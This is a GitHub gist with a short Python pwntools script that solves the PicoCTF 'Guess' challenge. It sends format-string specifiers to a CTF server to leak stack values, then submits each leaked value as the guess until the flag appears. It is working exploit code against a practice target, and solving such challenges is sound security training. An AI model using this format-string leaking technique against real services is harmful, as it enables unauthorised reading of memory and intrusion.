Created
May 18, 2016 10:52
-
-
Save 0xPwny/2ac96e23164fc72a12f5c861b9138a68 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
#Guess | format string | leaking | |
#Abdeljalil Nouiri "crypth0n" | |
#PicoCTF GUESS | |
from pwn import * | |
import time | |
import re | |
for i in range(1,9): | |
con = remote("vuln2014.picoctf.com",4546) | |
print con.recv() | |
time.sleep(1) | |
con.send("%"+str(i)+"$d"+'\n') | |
time.sleep(1) | |
output = con.recv() | |
check = output.find("game")+6 | |
ouin = output[check:42] | |
prep = ouin.split('\n') | |
print "[+] ADDR : ",prep[0] | |
con.send(prep[0]+"\n") | |
out2 = con.recv() | |
if "flag" in out2: | |
print out2 | |
break | |
else: | |
pass | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment